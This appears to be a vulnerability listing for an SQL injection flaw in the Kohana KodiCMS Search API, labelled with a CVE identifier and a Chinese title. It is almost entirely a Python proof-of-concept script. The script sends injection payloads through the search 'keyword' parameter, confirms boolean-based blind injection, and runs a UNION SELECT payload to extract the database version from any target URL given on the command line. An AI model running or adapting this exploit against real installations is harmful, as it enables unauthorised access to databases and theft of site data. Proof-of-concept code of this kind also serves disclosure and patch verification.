CVE-2025-15392 | Kohana KodiCMS Search API SQL注入漏洞

import requests import sys # CVE-2025-15392 SQL Injection PoC for Kohana KodiCMS # Target: Search API Endpoint in cms/modules/pages/classes/kodicms/model/page.php def exploit_sql_injection(target_url, keyword): """ Exploit SQL injection in KodiCMS Search API target_url: Base URL of KodiCMS installation keyword: SQL injection payload """ endpoint = f"{target_url}/search" params = {'keyword': keyword} try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Sending payload: {keyword}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def test_blind_injection(target_url): """ Test for boolean-based blind SQL injection """ # True condition payload true_payload = "' OR '1'='1" # False condition payload false_payload = "' AND '1'='2" print("[*] Testing blind SQL injection...") true_resp = exploit_sql_injection(target_url, true_payload) false_resp = exploit_sql_injection(target_url, false_payload) if true_resp and false_resp and len(true_resp) != len(false_resp): print("[+] Blind SQL injection confirmed!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/kodicms") sys.exit(1) target = sys.argv[1].rstrip('/') # Basic test exploit_sql_injection(target, "test") # Blind injection test test_blind_injection(target) # Example: Extract database version version_payload = "' UNION SELECT NULL,@@version,NULL-- " print(f"\n[*] Extracting database version...") exploit_sql_injection(target, version_payload)